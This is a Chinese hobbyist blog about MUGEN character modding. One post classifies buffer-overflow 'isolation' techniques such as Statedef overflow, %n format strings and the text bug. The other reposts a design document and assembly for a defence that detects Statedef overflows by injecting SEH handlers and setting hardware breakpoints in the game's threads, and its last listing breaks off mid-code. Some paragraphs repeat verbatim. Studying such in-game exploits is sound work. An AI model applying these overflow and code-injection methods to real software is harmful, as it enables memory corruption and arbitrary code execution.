欢迎来到我的博客
这里大概会写一些MUGEN相关的东西
然后……
就是自己的一些日常啦
(这么随便的置顶真的没问题吗?
Luli总是那么饿
2028年12月31日星期日
2018年5月29日星期二
关于隔离技术
我之前看了国外一些作者的博文,介绍了各种隔离技术,emmm怎么说呢,我是感觉有点不太好,那么我就在这里说一下我认为的隔离技术。
;========引用说明=========
大部分内容参考遥远的贴子https://tieba.baidu.com/p/5092155802,说的很详细明白。
;=========正 文==========
;========引用说明=========
大部分内容参考遥远的贴子https://tieba.baidu.com/p/5092155802,说的很详细明白。
;=========正 文==========
首先一点,隔离技术区分按照什么方式区分
这个在国内达成了共识隔离技术有两种区分方式——按技术分和按应用分。1 按技术分
1.1 512BUG
对方有hitpausetime的情况下可以进入一个有超过512个控制器的状态号。
该类技术有:
直死 利用512BUG把敌人的ALIVE刷成0
亲捏造系 利用512BUG改写内存的某个指针,达到可以改写其它内存的值的效果
Player消去 使用512BUG改写对方PLAYER的存在状态
解除系 使用512BUG改写对方PLAYER的各种状态
残影 使用512BUG改写残影控制器的位置,然后通关创建残影写值
1.2 DTC、ATC系
DTC = displaytoclipboard;
ATC = appendtoclipboard;
该类技术有:
%N 利用格式控制符进行溢出,达到在任意地点写值的效果 ※%F为%N中的一种应用,不再赘述
Text Bug text=“1024%d”输出的值超过1024字节会发生溢出,覆盖掉text的返回值,从而执行写好的纯汇编代码
1.3 Statedef状态号溢出攻击
状态号的值超过54字节会发生溢出,覆盖掉状态号的返回值,从而执行写好的纯汇编代码
1.4 DEF文件溢出
利用XP SP1中固有的漏洞,这个BUG就是字符的链表拆解,这个技术又叫“堆溢出”关键代码
MOV [EAX+4],ECX
下一个链表被上一个的CHAR所覆盖掉,ECX又是上一个字符EAX+4的CHAR
MOV [EAX+4],ECX
下一个链表被上一个的CHAR所覆盖掉,ECX又是上一个字符EAX+4的CHAR
※Windows XP限定
2 按应用分
即根据隔离技术的应用来达到某种特定的效果。
这种有非常多
大部分应用技术我都在这个表上列出来了,当然肯定还不止这些
;=========结 论==========
以上使用的名词皆为技术名词,和技术名词并不一样
技术名词和技术名称有什么不一样的地方?举个例子
Statedef状态号溢出和SuperNull
DEF文件溢出和HyperNull
YouTube上似乎更喜欢用技术名称,国内一律都是直接用技术名词的
Textbug啊S溢出啊DEF溢出啊什么%N%F啊什么的
各个地方有各个地方的叫法无所谓
但是技术是固定的,隔离技术和隔离技术的详细应用并不能归在一起讨论
;=========附 加==========
妈耶写都7点了饿死我了吃饭去了溜了溜了ԅ(¯﹃¯ԅ). . .
我为什么要这么费心思的做代理公开?
其实我想这么做挺久的了,只是一直没平台搞这玩意。
说实话,国内的Mugen已经差不多凉凉了,充斥着无脑拳皇和无脑强度,然而真正喜欢mugen的都不希望看到这样的情况。新作者做的人物没人关注,老作者的人物更新了也没人用,我基本上是对这现象绝望了。
于是我思考着怎么改善这一局面,国内最大的mugen交流平台就是百度贴吧,百度贴吧的优点很明显,门槛低、流量大、管理简单直接。但是现在发展出来的情况却是越来越差了,大吧直接全换了,白丽上位成为唯一一个大吧,为什么会这9样,因为吃力不讨好啊。
我也想过成为大吧,直接制订一套相对严格的规范。但是发现是要求实名制的……那还是算了吧,当个小吧有点小权限够了。
说回来,我的理念是什么呢。很明显我是个凶恶向的作者(?)但是我的想法并不是winmugen王道或者杀伤越高越好,我更倾向于本质、兼容。说白了就是在没有违反大前提下怎么样都好,纸并强凶狂神论外皆可,并不是限定于哪个级别更优越,各级别都有各自的特色。在这个情况下隔离技术就是个特别的存在了,在隔离技术开发出来的那一刻起似乎就一直是为了杀伤而存在的(少部分是辅助向的比如说天门的helper normal化,但这毕竟是少数),发展到现在是执行速度越来越快,这里有个很有意思的就是,隔离技术并不是以强度来分的而是以速度来区分的,到现在Statedef状态号溢出攻击已经是选人后就执行了(在mugen开启了人物预读取的情况下),既然是按速度来发展的为什么却都是以杀伤为主呢?很简单,杀伤是最直观的体现方式,你说再多也没有一个KO来的简单直接,就这么简单。
我大概可以算是个凶恶向作者,但是我对隔离技术的看法却不是杀伤,而是更广泛的应用,比如说现在日本那里发展起来的隔离技术辅助优化神级技术(亲捏造轻量化全领域亲变更、全领域邪眼、快速探查等等)又比如说我和Rin现在在研究的隔离技术演出向(各P数不同头像、选人宣战宣言、窗体震动等等)以及更特别的隔离技术无效化(KNaCa氏的赫卡特、拉莱耶文本S溢出、萌新氏的七夜式)。我想的是,隔离技术之所以称为“隔离技术”,就是因为这类技术过于强大,更做到很多规格外的事情,如果只是单纯的为了杀伤,那就是炼出来铁却只用来造杀人的刀,浪费。
而国内的氛围却似乎很乐意看到这种只是为了杀伤而杀伤的人物,挺难过的,我记得我不止一次说过做这种套模板类的人物请加上自己的创意,而不是什么都么有就一个贴图然后开幕KO,这样不觉得很无聊吗?
真是因为这种大量存在而观众们又很喜闻乐见的看这种,在一定程度上排挤了真正的作者,他们的优秀的人物就这样被无视了,这是不对的啊。在有了月月的帮助下,同时我还有这么个大容量的优秀的网盘,我就做了这个决定,面向国外的代理公开,为没梯子的作者们提供帮助。
我有想过我理想中的管理mugen的方式,我倒是觉得现在国内MC的方式挺不错的,以论坛+百科的方式呈现。mugen方面百科有了,就是千寻mugen(虽然千寻mugen有很多地方我觉得非常糟糕就是了……),而论坛现在依旧处于贴吧的形式,贴吧不能说不好,只是它是一个大类,而mugen还有很多分类呢,单单版本就有winmugen、mugen1.0、mugen1.1了,更别说还有mugen等级划分、mugen整合包、mugen杯赛这种,贴吧一个大类要管理这种是非常吃力不讨好的,理想方式还是建立一个论坛,当然我是没这个能力啦,只能在这里bb几句而已。
最后我再说一下我对mugen人物的看法。怎么样都好,就是别粗制滥造,YouTube那里有很多演出向的人物都是套层皮的,这种我知道看的就是演出,可是……能不能用心做一下啊,乍一看感觉很厉害,仔细一看什么玩意。这是一,二就是我是反对需要手动执行mugen.exe以外的程序或脚本的人物的,这就是自欺欺人(mugen.exe -p1 winer -p2 loser -p2.life -1000 -rounds 1)这种我一分钟都不需要就是一个,没意思,有本事mugen里自动执行啊,别要人手动执行。三,我其实很希望每个人物都附有readme和update log。四,带有dll的应当附有源代码。
;==================
乱七八糟说了这么多,饿了,吃东西去了ヾ(≧ ▽ ≦)ゝ
说实话,国内的Mugen已经差不多凉凉了,充斥着无脑拳皇和无脑强度,然而真正喜欢mugen的都不希望看到这样的情况。新作者做的人物没人关注,老作者的人物更新了也没人用,我基本上是对这现象绝望了。
于是我思考着怎么改善这一局面,国内最大的mugen交流平台就是百度贴吧,百度贴吧的优点很明显,门槛低、流量大、管理简单直接。但是现在发展出来的情况却是越来越差了,大吧直接全换了,白丽上位成为唯一一个大吧,为什么会这9样,因为吃力不讨好啊。
我也想过成为大吧,直接制订一套相对严格的规范。但是发现是要求实名制的……那还是算了吧,当个小吧有点小权限够了。
说回来,我的理念是什么呢。很明显我是个凶恶向的作者(?)但是我的想法并不是winmugen王道或者杀伤越高越好,我更倾向于本质、兼容。说白了就是在没有违反大前提下怎么样都好,纸并强凶狂神论外皆可,并不是限定于哪个级别更优越,各级别都有各自的特色。在这个情况下隔离技术就是个特别的存在了,在隔离技术开发出来的那一刻起似乎就一直是为了杀伤而存在的(少部分是辅助向的比如说天门的helper normal化,但这毕竟是少数),发展到现在是执行速度越来越快,这里有个很有意思的就是,隔离技术并不是以强度来分的而是以速度来区分的,到现在Statedef状态号溢出攻击已经是选人后就执行了(在mugen开启了人物预读取的情况下),既然是按速度来发展的为什么却都是以杀伤为主呢?很简单,杀伤是最直观的体现方式,你说再多也没有一个KO来的简单直接,就这么简单。
我大概可以算是个凶恶向作者,但是我对隔离技术的看法却不是杀伤,而是更广泛的应用,比如说现在日本那里发展起来的隔离技术辅助优化神级技术(亲捏造轻量化全领域亲变更、全领域邪眼、快速探查等等)又比如说我和Rin现在在研究的隔离技术演出向(各P数不同头像、选人宣战宣言、窗体震动等等)以及更特别的隔离技术无效化(KNaCa氏的赫卡特、拉莱耶文本S溢出、萌新氏的七夜式)。我想的是,隔离技术之所以称为“隔离技术”,就是因为这类技术过于强大,更做到很多规格外的事情,如果只是单纯的为了杀伤,那就是炼出来铁却只用来造杀人的刀,浪费。
而国内的氛围却似乎很乐意看到这种只是为了杀伤而杀伤的人物,挺难过的,我记得我不止一次说过做这种套模板类的人物请加上自己的创意,而不是什么都么有就一个贴图然后开幕KO,这样不觉得很无聊吗?
真是因为这种大量存在而观众们又很喜闻乐见的看这种,在一定程度上排挤了真正的作者,他们的优秀的人物就这样被无视了,这是不对的啊。在有了月月的帮助下,同时我还有这么个大容量的优秀的网盘,我就做了这个决定,面向国外的代理公开,为没梯子的作者们提供帮助。
我有想过我理想中的管理mugen的方式,我倒是觉得现在国内MC的方式挺不错的,以论坛+百科的方式呈现。mugen方面百科有了,就是千寻mugen(虽然千寻mugen有很多地方我觉得非常糟糕就是了……),而论坛现在依旧处于贴吧的形式,贴吧不能说不好,只是它是一个大类,而mugen还有很多分类呢,单单版本就有winmugen、mugen1.0、mugen1.1了,更别说还有mugen等级划分、mugen整合包、mugen杯赛这种,贴吧一个大类要管理这种是非常吃力不讨好的,理想方式还是建立一个论坛,当然我是没这个能力啦,只能在这里bb几句而已。
最后我再说一下我对mugen人物的看法。怎么样都好,就是别粗制滥造,YouTube那里有很多演出向的人物都是套层皮的,这种我知道看的就是演出,可是……能不能用心做一下啊,乍一看感觉很厉害,仔细一看什么玩意。这是一,二就是我是反对需要手动执行mugen.exe以外的程序或脚本的人物的,这就是自欺欺人(mugen.exe -p1 winer -p2 loser -p2.life -1000 -rounds 1)这种我一分钟都不需要就是一个,没意思,有本事mugen里自动执行啊,别要人手动执行。三,我其实很希望每个人物都附有readme和update log。四,带有dll的应当附有源代码。
;==================
乱七八糟说了这么多,饿了,吃东西去了ヾ(≧ ▽ ≦)ゝ
2018年5月22日星期二
新七夜式代码及开发文档
七夜式作者——萌新
本文详细介绍了七夜式的研究开发过程
本文所有代码遵循GPLv2许可证发布
https://www.gnu.org/licenses/old-licenses/gpl-2.0.html
※以下内容皆为转载
s溢出的注意点:
1.每隔1kb的代码必须要有一个00,否则mugen会直接在相应位置插入00,导致代码错误
2.不能出现00,3B
3.st文件不要放在第一个,会导致异常
Statedef状态号溢出攻击研究
# 检测研究
## 基础知识
Statedef溢出原理:压入的状态号过长将esp中原本的返回位置覆盖了
47EBF0是文件处理入口,47F18A,47ECF1,47F23F是返回到溢出写入地址的位置
47E9B6也是一个返回地址
4949F0 改动4B2188处可以在对方的读取线程里插入自己的代码,这个地方的原始值是49221E
注入时获取的esp与对方的状态号返回地址差值10D0 注入时不可读 1p人物信息指针尚未赋值
esp-DD0出是对方正在处理的文件名字符串头
状态号返回地址对应堆栈位置的值不固定,进入到溢出区段时可能是正常的地址,在区段中地址保持不变,之后那个位置的值基本随机
状态号与获取的esp的差值:0D21FF54-0D21EE4C=1108,这个位置是状态号的空格
esp-dd0处不是00时尚未开始读取statedef状态号
使用常规的检测太慢,需要一些手段
考虑在对方的状态号返回地址处设置硬件断点,在写入时触发,触发之后会调用异常处理函数。把事先写好的异常处理函数加入对方读取线程的SEH链中。硬件断点会抛出EXCEPTION_SINGLE_STEP异常
进入异常处理函数之后,如果是EXCEPTION_SINGLE_STEP异常就说明对方正在写入状态号返回地址,检查是否正在读取statedef,如果是则判断返回地址是否是正常值
如果返回地址不是正常值,就改成47EB31
返回
在使用中断+断点之后就不必再设置开始检查和结束检查的条件,只要等到对方的人物信息基地址不是00就进入下一步即可。在这个过程中子线程不执行任何动作。
statedef溢出检查完全在对方的线程里执行,子线程不干预
fs:[0]指向的区域是可读的,不用担心
由于硬件断点的限制,需要在47EBF0处再设置一个硬件断点,在47EBF0处的异常处理函数里启用对47F18A的断点,在47F18A处的异常处理函数里启用对47EBF0的断点
## 初步思路:
### 对方子线程:
构造一个新的EXCEPTION_REGISTRATION结构,函数地址是statedef_of_dectet_pre,prev是fs:[0]。
修改对方线程的fs:[0],即SEH链,指向上一步构造的结构
在edi+40处设置一个硬件断点,在写入时触发
### 异常处理函数:
取出EXCEPTION_RECORD,读出其中的ExceptionCode和ExceptionAddress
检查ExceptionCode是否是EXCEPTION_SINGLE_STEP(0x80000004),不是返回EXCEPTION_CONTINUE_SEARCH (0)
检查[esp]是否是47EB31或者47E9B6,不是改成47EB31并且4B42F0改成1,返回EXCEPTION_CONTINUE_EXECUTION
异常处理函数入口地址[4B4300]
~~# 详细设计:~~
~~## 对方子线程:~~
~~1. 保存esp到4B4120~~
~~2. push 异常处理函数入口地址,push fs:[0],构造新的SEH链结构~~
~~3. mov fs:[0],esp,装入~~
~~4. 写入“GetCurrentThread”~~
~~5. 获取GetCurrentThread的地址,保存~~
~~1. 写入“SuspendThread”~~
~~1. 获取SuspendThread的地址,保存~~
~~2. 写入“ResumeThread"~~
~~1. 获取ResumeThread的地址,保存~~
~~6. 写入“GetThreadContext”~~
~~1. 获取GetThreadContext的地址,保存~~
~~8. 写入“SetThreadContext”~~
~~1. 获取SetThreadContext的地址,保存~~
~~10. 调用GetCurrentThread,获取当前线程的句柄,保存到内存中~~
~~1. 在[4B4200]写入FFFFFFFF~~
~~1. 调用SuspendThread,暂停自己~~
~~## 己方子线程:~~
~~1. 检查[4B4200]是否是FFFFFFFF,不是继续检查~~
~~11. 调用GetThreadContext,获取对方子线程的Context~~
~~11. 读dr6,判断异常原因~~
~~12. 如果是47F18A引发异常 修改Context,Dr0写入47EBF0,Dr7写入401,其他部分不改动;否则修改Context,Dr1写入47F18A,Dr7写入404~~
~~14. 调用SetThreadContext,写入新的Context~~
~~14. 在[4B4200]写入10101010~~
~~15. 调用ResumeThread,恢复对方子线程~~
如果在47F18A处设置一个断点,然后在异常处理函数里把CONTEXT->EIP改成403249,重新启用dr0,即让程序从另一个ret指令处返回,避开硬件断点,并返回EXCEPTION_CONTINUE_EXECUTION让程序从403249开始执行
## 原理:
Intel 提供了Drx寄存器用于设置硬件断点,执行到硬件断点处会产生单步异常。
在对方的47F18A处设置硬件断点并注入对方选人线程的SEH,在对方执行到47F18A时会触发单步异常。这时自己定义的异常处理函数会被调用,通过判断此时选人线程的返回地址来判断对方是否使用了statedef溢出,如果是就修正地址并通知自己的子线程,之后修改eip到另一个ret指令处,重新启用断点并通知系统忽略异常,这样选人线程会继续执行。当对方读取完毕时自己的子线程进入下一功能模块。
47F18A处只在处理状态定义时执行,执行时返回地址必然是状态定义处理的返回地址,稳定可靠
## 详细设计:
### 对方子线程:
1. 保存esp到4B4120
1. push 异常处理函数入口地址,push fs:[0],构造新的SEH链结构
1. mov fs:[0],esp,装入
1. 写入“GetCurrentThread”
1. 获取GetCurrentThread的地址,保存
1. 写入“SuspendThread”
1. 获取SuspendThread的地址,保存
1. 写入“ResumeThread"
1. 获取ResumeThread的地址,保存
1. 写入“GetThreadContext”
1. 获取GetThreadContext的地址,保存
1. 写入“SetThreadContext”
1. 获取SetThreadContext的地址,保存
1. 调用GetCurrentThread,获取当前线程的伪句柄,保存到内存中
1. 调用GetCurrentProcess获取当前进程的伪句柄(49F0E8)
1. 调用DuplicateHandle获取当前进程的真实句柄,参数为CurrentProcess,CurrentThread,CurrentProcess,4BE320,00000000,01,00000002
1. 在[4B4200]写入FFFFFFFF
1. 调用SuspendThread,暂停自己
### 己方子线程:
1. 检查[4B4200]是否是FFFFFFFF,不是继续检查
1. 调用GetThreadContext,获取对方子线程的Context
1. 修改Context,Dr0写入47F18A,Dr1写入47ECF1,Dr2写入47F23F,Dr7写入415
1. 调用SetThreadContext,写入新的Context
1. 在[4B4200]写入00000000
1. 调用ResumeThread,恢复对方子线程
### 异常处理函数:
push ebp
mov ebp,esp
sub esp,08
push ebx
push esi
push edi
mov eax,[ebp+08];第一个参数ExceptionRecord的地址
mov eax,[eax];第一个参数ExceptionRecord的ExceptionCode
cmp [eax],0x80000004;是否是EXCEPTION_SINGLE_STEP异常
jne 交给其他的处理函数
mov eax,[4B4120]
sub eax,10D0
cmp [eax],47EB31
je 返回
cmp [eax],47E9B6
je 返回
mov [eax],47EB31
mov [4B42F0],1
mov eax,FFFFFFFF
jmp 返回
交给其他的处理函数:
xor eax,eax
返回:
修改CONTEXT->DR7为401
修改CONTEXT->EIP为403249
pop edi
pop esi
pop ebx
mov esp,ebp
pop ebp
ret
## 编码:
### 对方子线程:
### 异常处理函数:
push ebp
mov ebp,esp
sub esp,08
push ebx
push esi
push edi
mov eax,[ebp+08];第一个参数ExceptionRecord的地址
mov eax,[eax];第一个参数ExceptionRecord的ExceptionCode
cmp [eax],0x80000004;是否是EXCEPTION_SINGLE_STEP异常
jne 交给其他的处理函数
mov eax,[4B4120]
sub eax,10D0
cmp [eax],47EB31
je 返回
cmp [eax],47E9B6
je 返回
mov [eax],47EB31
mov [4B42F0],1
mov eax,FFFFFFFF
jmp 返回
交给其他的处理函数:
xor eax,eax
返回:
mov [4B4200],FFFFFFFF
调用SuspendThread,暂停自己
pop edi
pop esi
pop ebx
mov esp,ebp
pop ebp
ret
except_handler:
push ebp
mov ebp,esp
sub esp,08
push ebx
push esi
push edi
mov eax,[ebp+08];第一个参数ExceptionRecord的地址
mov eax,[eax];第一个参数ExceptionRecord的ExceptionCode
cmp [eax],0x80000004;是否是EXCEPTION_SINGLE_STEP异常
jne ret_search
mov eax,[4B4120]
sub eax,10D0
cmp [eax],47EB31
je ret_EXECUTION
cmp [eax],47E9B6
je ret_EXECUTION
mov [eax],47EB31
mov [4B42F0],1
mov eax,FFFFFFFF
jmp ret_EXECUTION
ret_search:
xor eax,eax
ret_EXECUTION:
;修改CONTEXT->DR7为401
;获取CONTEXT的指针
mov edx,[ebp+10]
mov edx,[edx]
add edx,18
mov [edx],401
;修改CONTEXT->EIP为403249
add edx,A0
mov [edx],403249
pop edi
pop esi
pop ebx
mov esp,ebp
pop ebp
ret
# 编码:
对方子线程:
pushad
pushfd
mov [4B4120],esp
push 4B3000
push fs:[0]
mov fs:[0],esp
;写入“GetCurrentThread”,从4BE200开始,避开1p的字符串
mov [4BE200],43746547
mov [4BE204],65727275
mov [4BE208],6854746E
mov [4BE20C],72656164
push 49F604;KERNEL32
call dword ptr [49F0B8];KERNEL32.GetModuleHandleA,获取KERNEL32.dll地址
mov edi,eax
push 4BE200
push edi
call dword ptr [49F130]
mov [4BE300],eax
;写入“SuspendThread”
mov [4BE200],70737553
mov [4BE204],54646E65
mov [4BE208],61657268
mov [4BE20C],00000064
push 4BE200
push edi
call dword ptr [49F130]
mov [4BE304],eax
;写入“ResumeThread"
mov [4BE200],75736552
mov [4BE204],6854656D
mov [4BE208],64616572
mov [4BE20C],00000000
push 4BE200
push edi
call dword ptr [49F130]
mov [4BE308],eax
;写入“GetThreadContext”
mov [4BE200],54746547
mov [4BE204],61657268
mov [4BE208],6E6F4364
mov [4BE20C],74786574
push 4BE200
push edi
call dword ptr [49F130]
mov [4BE310],eax
;写入“SetThreadContext”
mov [4BE200],54746553
mov [4BE204],61657268
mov [4BE208],6E6F4364
mov [4BE20C],74786574
push 4BE200
push edi
call dword ptr [49F130]
mov [4BE314],eax
;写入“DuplicateHandle”
mov [4BE200],6C707544
mov [4BE204],74616369
mov [4BE208],6E614865
mov [4BE20C],00656C64
push 4BE200
push edi
call dword ptr [49F130]
mov [4BE318],eax
;调用GetCurrentThread,获取当前线程的句柄,保存到[4BE320]
call dword ptr [4BE300]
mov [4BE320],eax
;调用GetCurrentProcess获取当前进程的伪句柄(49F0E8)
call dowrd ptr [49F0E8]
;调用DuplicateHandle获取当前进程的真实句柄,参数为CurrentProcess,CurrentThread,CurrentProcess,4BE320,00000000,01,00000002
push 00000002
push byte 01
push 00000000
push 4BE320
push eax
push [4BE320]
push eax
call dword ptr [4BE318]
mov [4B42F0],FFFFFFFF
;调用SuspendThread,暂停自己
push [4BE320]
call dword ptr [4BE304]
popfd
popad
ret
己方子线程:
set_breakpoint:
cmp [4B42F0],FFFFFFFF
jne set_breakpoint_pre
;调用GetThreadContext,获取对方子线程的Context,写入到4B4300
push 4B4300
push [4BE320]
call dword ptr [4BE310]
;修改Context,Dr0写入47F18A,Dr7写入401
mov [4B4304],47F18A
mov [4B4318],401
;调用SetThreadContext,写入新的Context
push 4B4300
push [4BE320]
call dword ptr [4BE314]
;恢复标志位
mov [4B42F0],01010101
;调用ResumeThread,恢复对方子线程
push [4BE320]
call dowrd ptr [4BE308]
Dr7为00000000000000000000010000000001,设置是:启用Dr0,局部;关闭保护;写入时触发;断点长度4字节。注意大小端的问题。
00000000000000000000010000000100
需要注意的点:
线程退出时这些内存区域会变成不可读,如果判断的条件不对会造成报错,即使条件是对的,如果由于多线程问题也有可能出现报错。 利用VirtualQurey检查是否可读
如果能够确定mugen对于各个文件的读取顺序,那么发现对应位置不再是“Statedef”时退出检测 x 对于多个st文件的人物会出现检测失败的情况。
如果能够有判断st文件已经全部完成读取的方法,那么就可以实现稳定检测了 x 可能不需要了
检查读取出的内存开头+4是否是“eate”这个方法是否可靠,会不会出现满足条件但是并不是在处理statdef状态号或者不满足条件但是是在处理statedef状态号的情况
在触发断点之后会取消断点的有效位,所以要在异常处理函数中暂停对方子线程并通过一个内存中的标志通知自己的子线程重新写入标志位。 x 利用异常处理函数获取的线程上下文直接恢复断点并设置eip避开断点
在应用层是不能直接操作Drx寄存器的值,但可以调用这两个api来读写线程的上下文,来达到设置硬件断点的目的,
不要使用EXCEPTION_EXECUTE_HANDLER,返回的地址是不明确的
把写入异常处理函数和对方子线程的工作放到statedef文件里进行,不需要给1p写额外的分支,对方选人进程suspend已经足够了,子线程的1p侧攻击也不需要改
使用GetThreadContext需要先构造一个CONTEXT结构体并初始化其中的Context.ContextFlags,Context.ContextFlags设置为CONTEXT_FULL。具体方式在4B4300那里写入一个3F
GetCurrentThread返回的线程永远指向当前线程
异常处理函数的值必须是以下其一
typedef enum _EXCEPTION_DISPOSITION {
ExceptionContinueExecution,
ExceptionContinueSearch,
ExceptionNestedException,
ExceptionCollidedUnwind
} EXCEPTION_DISPOSITION;
ExceptionContinueExecution 表示:已经处理了异常,回到异常触发点继续执行。
ExceptionContinueSearch 表示:没有处理异常,继续遍历异常链表。
ExceptionCollidedUnwind 表示在展开过程中再次触发异常。
EXCEPTION_RECORD struct{ //共6个成员
+0 DWORD ExceptionCode //异常代码,定义了产生异常的原因
+4 DWORD ExceptionFlags //异常标志 ?
+8 struct EXCEPTION_RECORD //指针,指向另一个EXCEPTION_RECORD结构
+C DVOID ExceptionAddress //异常发生的地址
+10 DWORD NumberParameters //与异常联系的参数个数(0~15)一般=0 ?
+14 ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS] //异常信息 ?
}EXCEPTION_RECORD ends
typedef struct _CONTEXT {
/*000*/ DWORD ContextFlags;
/*004*/ DWORD Dr0;
/*008*/ DWORD Dr1;
/*00C*/ DWORD Dr2;
/*010*/ DWORD Dr3;
/*014*/ DWORD Dr6;
/*018*/ DWORD Dr7;
/*01C*/ FLOATING_SAVE_AREA FloatSave;
/*08C*/ DWORD SegGs;
/*090*/ DWORD SegFs;
/*094*/ DWORD SegEs;
/*098*/ DWORD SegDs;
/*09C*/ DWORD Edi;
/*0A0*/ DWORD Esi;
/*0A4*/ DWORD Ebx;
/*0A8*/ DWORD Edx;
/*0AC*/ DWORD Ecx;
/*0B0*/ DWORD Eax;
/*0B4*/ DWORD Ebp;
/*0B8*/ DWORD Eip;
/*0BC*/ DWORD SegCs;
/*0C0*/ DWORD EFlags;
/*0C4*/ DWORD Esp;
/*0C8*/ DWORD SegSs;
/*0CC*/ BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
/*2CC*/ } CONTEXT;
EXCEPTION_DISPOSITION __cdecl _except_handler (
_In_ struct _EXCEPTION_RECORD *_ExceptionRecord, //异常记录结构指针
_In_ void * _EstablisherFrame, //指向EXCEPTION_REGISTRATION结构,即SEH链
_Inout_ struct _CONTEXT *_ContextRecord, //Context结构指针 (线程上下文)
_Inout_ void * _DispatcherContext //无意义 (调度器上下文?)
);
# 对于state缺失型溢出的处理思考
对于state缺失型溢出而言,上述处理方法依然能够检测出溢出,但是由于溢出的statedef无控制器不合法,不能完成读取。这时按照普通方法处理mugen会不停地读取这个statedef,溢出会多次执行,并且无法开局。
目前的做法是检测到这种溢出直接关闭程序,不过也可做如下设想:在对方的statedef溢出后面加上一个null控制器,这样对方就有了一个控制器的_文本_,如果重新读取时能够读取到,那个就能解除无限读取并且开幕。
根据新的拉莱耶文本,ebx是控制mugen是否重新加载statedef的控制器,修改它的值就可以阻止mugen重新读取statedef
那么改为在读取statedef处设置硬件断点,检查读入的statedef号长度,超过56的部分去除,同时覆盖ebx阻止重新读取statedef,就可以拦截所有的s溢出
x
47EBF0处的esp指向返回地址,只要返回地址不是标准值就可以认为发生了S溢出
;==========================
%n与textbug研究
思路:利用s溢出写入暂停代码和断点设置与SEH注入代码。之后通过主线程调用的代码来让主线程执行暂停。线程检测到主线程暂停之后设置断点与SEH函数,之后恢复主线程执行
重点:
1. 给出判断%n与textbug的方式
2. 找出速度最快的主线程调用代码
已知:
1.4967DF是%n和%d的处理函数,ecx为写入的原始字符串(%n等没有替换为实际数值),,edx是最后完成替换的字符串,ebx是参数,%n位于496CB6处,ecx为写入的值
2.4ABDC4处的字符串“trigger%i"可以修改并且可以调用%f,但是这个调用不是在主线程里进行的
3.edx是“%n”出现的地方
4.4969BA处下断点,[eax]是字符串长度,textbug的长度似乎是0x403
5.%d的返回值是定值4713F3
6.%i同样会出现textbug
7.edx是字符串读写指针,指向当前要写入的字符位置。在[eax]达到0x403时,指向返回地址的第二个字节
8.text的参数可以为空
9.text会被缓存,第一次之后的写入都是读取缓存写入。缓存中“%n”的字符串如果改成“%d”,那么以后这个text所有的“%n”都会被%d取代。edi指向缓存当前正在读取的字符
10.主线程被暂停后fs:[0]指向的SEH可能会被释放,需要找到入口地址是496150的seh节点并且覆盖
11.由于硬件断点的限制,在4967DF下断点会导致4967DF出的push无法执行,这样会导致堆栈错误。必须自己完成断点语句的动作。4967EE处的xor esi,esi指令动作容易完成并且寄存器变动不大,可以在此处设置断点.4969BA的add esp,0C很容易模拟
12.od在seh的检测上面效果很差,可以使用CE在异常处理处下断点来查看运行情况
13.触发%n检测之后textbug会导致主程序十分卡顿
研究:
1.%n只需要检查字符串中是否有“%n”即可,textbug需要计算字符串长度,其中%xxxd的计算是一个问题
2.既然极限卢使用修改按键处理的方法执行自己的代码并且能够在其他人物选择前执行指向改,那么也许这个方法速度是足够的
3.改掉正常的mugen提示,强行加入%f
4.使用GetWindowThreadProcessId获取窗口线程ID,如果是主线程创建窗口即可获得
5.用CreateToolhelp32Snapshot获取所线程的快照
通过GetWindowThreadProcessId找出mugen的pid。
在进程里找出mugen之后,逐个获取线程id,用OpenThread打开获取句柄,通过GetThreadTimes检测线程的用户时间,用CompareFileTime比较,最长的就是主线程
6.fs:[30]+3000处似乎是主线程的TEB,+24处是主线程id。该处内存可读,之后通过openthread打开即可获得句柄
7.在4967DF处设置断点检查“%n”,在4969BA处下断点检查[eax]是否等于0x403
8.cns指空对已经读取的控制器有何影响?对未读取的控制器有何影响?
9.是否可以修改textbug的地址直接使textbug跳过汇编代码直接返回?
10.是否可以修改edi和edx指向的两个字符串的头部分,将原本的代码改为textbug的返回代码?
11.修改字符串时不能清除掉原有的%d之类字符,因为它们与dtc的params紧密相关,缺少一个都会导致栈异常
结论:
2. x 按键处理不在主线程执行
4. x 主线程没有创建窗口
5. x 谁会写谁写
6.可行
8.未知,但是使用cns指空之后%n检测触发后卡顿的问题得到了解决
9.x
10.可行
11.不完全正确,%d可以没有参数,但是有些不行
;==========================
※汇编代码部分
alloc(newmem,2048)
label(palno_range)
label(start)
label(palno_detect)
label(sff)
label(attack_init)
label(defense)
label(p1_attack_init)
label(p2_attack_init)
label(p2_is_selected)
label(attack)
label(enemy_displayname)
label(mugen_path)
label(cmd_select)
label(p2_cmd)
label(attack_fin)
label(p1)
label(p3)
label(p3_leitaizhan)
label(p5)
label(p7)
label(p2)
label(p4)
label(p4_leitaizhan)
label(p6)
label(p8)
label(set_breakpoint)
label(p1_pre_in_round_fix)
label(p1_defense)
label(p1_in_round_init)
label(p1_in_round_detecte)
label(p1_in_round_fix)
label(p1_player_button_off_fix)
label(p2_defense)
label(p2_pre_in_round_detecte)
label(p2_pre_in_round_fix)
label(p2_in_round_init)
label(p2_in_round_detecte)
label(p2_in_round_fix)
label(p2_player_button_off_fix)
label(exit)
label(next_round_dectet)
4BE010:
start:
pushad
pushfd
mov esi,[4B41A0]
mov edi,[4B41A4]
mov [4B4194],454C10
mov eax,[4B6178]
mov [4B40A0],eax
;这段是傻瓜包的一部分
;根据之前获取的栈地址去判断p侧
palno_detect:
cmp [esi-000047A4],edi
je p1
cmp [esi-00004790],edi
je p3
cmp [esi-00004748],edi
je p3_leitaizhan
cmp [esi-000046EC],edi
je p5
cmp [esi-00004690],edi
je p7
cmp [esi-00002D08],edi
je p2
cmp [esi-00002CF4],edi
je p4
cmp [esi-00002CAC],edi
je p4_leitaizhan
cmp [esi-00002C50],edi
je p6
cmp [esi-00002BF4],edi
je p8
jmp palno_detect
p1:
mov eax,[esi-000047A0]
mov [4B42FF],FFFFFFFF
jmp palno_range
p3:
mov eax,[esi-0000478C]
mov [4B42FF],FFFFFFFF
jmp palno_range
p3_leitaizhan:
mov eax,[esi-00004744]
mov [4B42FF],FFFFFFFF
jmp palno_range
p5:
mov eax,[esi-000046E8]
mov [4B42FF],FFFFFFFF
jmp palno_range
p7:
mov eax,[esi-0000468C]
mov [4B42FF],FFFFFFFF
jmp palno_range
p2:
mov eax,[esi-00002D04]
mov [4B42FF],11111111
jmp palno_range
p4:
mov eax,[esi-00002CF0]
mov [4B42FF],11111111
